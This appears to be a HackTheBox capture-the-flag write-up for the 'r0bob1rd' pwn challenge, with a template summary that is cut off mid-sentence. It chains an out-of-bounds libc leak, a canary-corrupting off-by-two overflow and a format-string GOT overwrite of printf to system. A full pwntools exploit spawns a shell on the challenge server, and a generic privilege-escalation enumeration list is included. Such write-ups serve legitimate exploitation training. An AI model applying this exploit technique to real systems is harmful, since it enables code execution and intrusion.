r0bob1rd

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-09 | Status: Solved Techniques: format_string_write, got_leak, got_overwrite_printf_to_system, off_by_two, oob_array_index, stack_chk_fail_hijack

Summary

A "robotic bird game" binary that presents a table of 10 bird names, lets you select one by ID, enter a description, and displays it. The binary has three chained vulnerabilities: an out-of-bounds array read for libc leak, an off-by-two buffer overflow that corrupts the stack canary, and a format st

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: hackthebox | ID: 20260209_hackthebox_r0bob1rd
• Tags: oob_read, format_string, got_overwrite, libc_leak, no_pie, canary_bypass, partial_relro, glibc_2.31
• Indicators: printf(user_input) format string, Partial RELRO (writable GOT), No PIE, array index without bounds check, fgets size > buffer distance to canary
• Source: 20260209_hackthebox_r0bob1rd.md

Foothold

Vulnerability / Misconfiguration

1. Format_string_write
2. Got_leak
3. Got_overwrite_printf_to_system
4. Off_by_two
5. Oob_array_index

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• format_string_write
• got_leak
• got_overwrite_printf_to_system
• off_by_two
• oob_array_index
• stack_chk_fail_hijack
• Tags: oob_read, format_string, got_overwrite, libc_leak, no_pie, canary_bypass, partial_relro, glibc_2.31

Original Writeup

<details><summary>Click to expand original content</summary>

Description

A "robotic bird game" binary that presents a table of 10 bird names, lets you select one by ID, enter a description, and displays it. The binary has three chained vulnerabilities: an out-of-bounds array read for libc leak, an off-by-two buffer overflow that corrupts the stack canary, and a format string bug for arbitrary GOT writes.

Remote: nc 154.57.164.77:32657

Files

• r0bob1rd — ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
• glibc/libc.so.6 — GLIBC 2.31-0ubuntu9.9 (Ubuntu 20.04)
• glibc/ld.so.2 — Dynamic linker

Analysis

Binary Properties

Key Addresses

Program Flow

1. Prints a banner and a table of 10 bird names (IDs 0–9)
2. Prompts "Select a R0bob1rd >" — reads an integer via scanf("%d")
3. Valid ID (0–9): dereferences robobirdNames[id] pointer and prints the bird name with printf("%s", *ptr)
4. Out-of-range ID: passes the ADDRESS &robobirdNames[id] directly to printf("%s", addr) — reads raw bytes at that computed address as a string
5. Calls getchar() to consume the newline
6. Prompts "Enter bird's little description" and reads input with fgets(buf, 0x6a, stdin) — 106 bytes max into a buffer at rbp-0x70
7. Prints "Crafting..", sleeps 2 seconds, prints a bird animation, prints "[Description]"
8. Calls printf(buf) — FORMAT STRING VULNERABILITY with user-controlled input
9. Checks stack canary — if corrupted, calls __stack_chk_fail
10. leave; ret

Vulnerability 1: OOB Array Read (Libc Leak)

robobirdNames is an array of 10 char* pointers at 0x6020a0. When bird_id is outside 0–9, the code computes &robobirdNames[bird_id] and passes this address (not the dereferenced pointer) to printf("%s", ...).

With bird_id = -16:

address = 0x6020a0 + (-16) * 8 = 0x602020 = puts@GOT

printf reads the bytes at puts@GOT as a string, leaking the libc address of puts. From the leak:

libc_base = leaked_puts - 0x84420

Vulnerability 2: Off-by-Two Buffer Overflow (Canary Corruption)

Buffer:  rbp-0x70  (112 bytes from rbp)
Canary:  rbp-0x08  (8 bytes)
Gap:     0x70 - 0x08 = 0x68 = 104 bytes
fgets:   reads up to 0x6a = 106 bytes (105 chars + null)

Sending 104 bytes + newline: fgets stores 104 bytes + '\n' at buf[104] + '\0' at buf[105]. buf[104] is the first byte of the canary — overwritten with 0x0a (newline), corrupting it. This guarantees __stack_chk_fail will be called.

Vulnerability 3: Format String Bug (Arbitrary Write)

printf(buf) at 0x400bf3 uses user input directly as the format string. The buffer starts at printf argument offset 8 (verified by sending %p patterns). Full %n/%hn/%hhn write capability to any address. Since Partial RELRO leaves the GOT writable, we can overwrite GOT entries.

Solution

Strategy: 2-Pass GOT Overwrite

The exploit chains all three vulnerabilities in two passes through the operation() function:

Pass 1: Leak libc + overwrite printf@GOT → system() and __stack_chk_fail@GOT → operation() Pass 2: Send "sh" as description → printf("sh") becomes system("sh") → SHELL

Pass 1: Leak + GOT Overwrite

1. Send bird_id = -16 to leak puts@GOT → compute libc_base → compute system() address
2. Craft a 104-byte format string payload that performs 4 × %hn writes:

• Overwrite printf@GOT (0x602030) with system() address (3 × %hn for 6 bytes: low, mid, high)
• Overwrite __stack_chk_fail@GOT (0x602028) with operation() address (1 × %hn, low 2 bytes only — both are in 0x400000 range)

1. The 104-byte payload + newline corrupts the canary → triggers __stack_chk_fail
2. __stack_chk_fail@GOT now points to operation() → program loops back (skipping printRobobirds which would call printf/system with garbage)

Pass 2: Trigger Shell

1. Now ALL printf() calls are actually system() calls
2. The program calls system("Select a R0bob1rd > "), system("\nYou've chosen: %s"), etc. — these fail with shell syntax errors but don't consume stdin
3. Send "sh" as the bird description
4. When the program reaches printf(buf), it actually calls system("sh") → SHELL!

Format String Payload Layout

[format specifiers (72 bytes)] [addresses (4 × 8 = 32 bytes)]
|<------------ 104 bytes total ------------>|

The 4 %hn writes are sorted by value (ascending) to minimize padding:

%{val1}c%{param1}$hn%{val2-val1}c%{param2}$hn%{val3-val2}c%{param3}$hn%{val4-val3}c%{param4}$hn

Each address is placed at the end of the 104-byte buffer, and the %hn parameter index points to the corresponding 8-byte slot at offset 8 + (72/8 + i).

Key Insights

• printf@GOT → system is elegant because printf(user_input) becomes system(user_input)
• __stack_chk_fail → operation() instead of main() avoids printRobobirds() which would call printf (now system) 10 times with table formatting characters
• The ~60KB of format string output (from %Nc padding) must be drained to prevent the program from blocking on write()
• system() with /bin/sh -c doesn't read from stdin for syntax errors, so the intermediate system() calls with garbage strings just return without consuming our input

Exploit

#!/usr/bin/env python3
"""
r0bob1rd - HackTheBox PWN Challenge Exploit
============================================
Pass 1: Leak libc via OOB + overwrite printf@GOT→system, __stack_chk_fail@GOT→operation
Pass 2: system("sh") via hijacked printf
"""

from pwn import *
import sys, time

HOST = "154.57.164.77"
PORT = 32657
LOCAL = "--local" in sys.argv

context.arch = "amd64"
context.log_level = "debug" if "--debug" in sys.argv else "info"

elf = ELF("./r0bob1rd")
libc = ELF("./glibc/libc.so.6")

PRINTF_GOT = elf.got["printf"]
STACK_CHK_FAIL_GOT = elf.got["__stack_chk_fail"]
OPERATION_ADDR = elf.symbols["operation"]
FMT_OFFSET = 8


def build_writes(writes, total_size=104):
    n = len(writes)
    addr_bytes = n * 8
    fmt_space = total_size - addr_bytes

    indexed = sorted(enumerate(writes), key=lambda x: x[1][1])

    param_for_sorted = []
    for sort_pos, (orig_idx, (addr, val)) in enumerate(indexed):
        byte_offset = fmt_space + sort_pos * 8
        param = FMT_OFFSET + byte_offset // 8
        param_for_sorted.append((addr, val, param))

    fmt = b""
    printed = 0
    for addr, val, param in param_for_sorted:
        needed = (val - printed) % 0x10000
        if needed == 0:
            needed = 0x10000
        fmt += f"%{needed}c%{param}$hn".encode()
        printed = (printed + needed) % 0x10000

    if len(fmt) > fmt_space:
        log.error(f"Format too long: {len(fmt)} > {fmt_space}")
        return None

    log.info(f"Format: {len(fmt)}/{fmt_space} bytes")

    payload = fmt.ljust(fmt_space, b".")
    for addr, val, param in param_for_sorted:
        payload += p64(addr)

    assert len(payload) == total_size
    return payload


def drain(p, timeout_sec=3):
    """Drain all available data with given timeout."""
    total = 0
    while True:
        try:
            chunk = p.recv(8192, timeout=timeout_sec)
            if not chunk:
                break
            total += len(chunk)
        except:
            break
    return total


def exploit():
    if LOCAL:
        p = process("./r0bob1rd")
    else:
        p = remote(HOST, PORT, timeout=30)

    # ================================================================
    # PASS 1: Leak libc + GOT overwrite
    # ================================================================
    log.info("=== PASS 1: Leak + GOT overwrite ===")

    p.recvuntil(b"R0bob1rd > ")
    p.sendline(b"-16")

    p.recvuntil(b"You've chosen: ")
    data = p.recvuntil(b"Enter bird")
    leak_bytes = data[: -len(b"\n\nEnter bird")]

    leaked_puts = u64(leak_bytes.ljust(8, b"\x00"))
    libc.address = leaked_puts - libc.symbols["puts"]
    log.success(f"libc @ {hex(libc.address)}")

    if libc.address & 0xFFF:
        log.error("Misaligned!")
        p.close()
        return

    system = libc.symbols["system"]
    log.info(f"system @ {hex(system)}")

    writes = [
        (PRINTF_GOT, system & 0xFFFF),
        (PRINTF_GOT + 2, (system >> 16) & 0xFFFF),
        (PRINTF_GOT + 4, (system >> 32) & 0xFFFF),
        (STACK_CHK_FAIL_GOT, OPERATION_ADDR & 0xFFFF),
    ]

    payload = build_writes(writes, total_size=104)
    if payload is None:
        p.close()
        return

    p.recvuntil(b">> ")
    p.sendline(payload)

    log.info("Payload sent. Draining ~60KB of output...")

    n = drain(p, timeout_sec=3)
    log.info(f"Drained {n} bytes")

    # ================================================================
    # PASS 2: Send inputs for shell
    # ================================================================
    log.info("=== PASS 2: Trigger system('sh') ===")

    p.sendline(b"0")
    log.info("Sent bird_id '0'")

    try:
        p.recvuntil(b"description", timeout=5)
        log.info("Got description prompt")
    except:
        log.warning("Didn't see description prompt")

    time.sleep(0.3)

    p.sendline(b"sh")
    log.info("Sent 'sh'")

    # Drain usleep(2s) + start_screen output
    n2 = drain(p, timeout_sec=4)
    log.info(f"Drained {n2} bytes")

    # Shell should be active now!
    log.info("Shell active! Getting flag...")

    p.sendline(b"cat flag*")
    time.sleep(1)
    p.sendline(b"cat /flag*")
    time.sleep(1)

    try:
        output = p.recv(timeout=5)
        result = output.decode(errors="replace")
        log.success(f"Output:\n{result}")

        import re
        flags = re.findall(r"HTB\{[^}]+\}", result)
        if flags:
            log.success(f"FLAG: {flags[0]}")
    except:
        log.warning("Error receiving output")

    p.interactive()


if __name__ == "__main__":
    exploit()

Lessons Learned

1. Canary corruption as a feature, not a bug — Instead of trying to preserve the canary, deliberately corrupt it and hijack __stack_chk_fail@GOT to redirect execution flow. The canary becomes a controlled jump.

2. printf@GOT → system is the classic GOT overwrite — When you control the first argument to printf (format string), overwriting it with system gives you system(user_input) for free.

3. operation() vs main() for loop target — Redirecting __stack_chk_fail to operation() instead of main() avoids re-executing printRobobirds(), which would call the now-hijacked printf (= system) with garbage strings 10 times.

4. Drain format string output — Large %Nc padding in format string writes generates ~60KB of output. If not drained, the program blocks on write() and never reaches the next input prompt.

5. system() with invalid commands is harmless — When printf@GOT is overwritten with system, intermediate calls like system("Select a R0bob1rd > ") fail with shell syntax errors but don't consume stdin, so subsequent input still reaches the right place.

6. OOB array indexing for GOT leaks — When an array of pointers is near the GOT and the binary passes &array[id] (not *array[id]) to printf("%s") for OOB indices, you can read GOT entries as raw bytes. The offset calculation: id = (GOT_addr - array_addr) / sizeof(pointer).

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR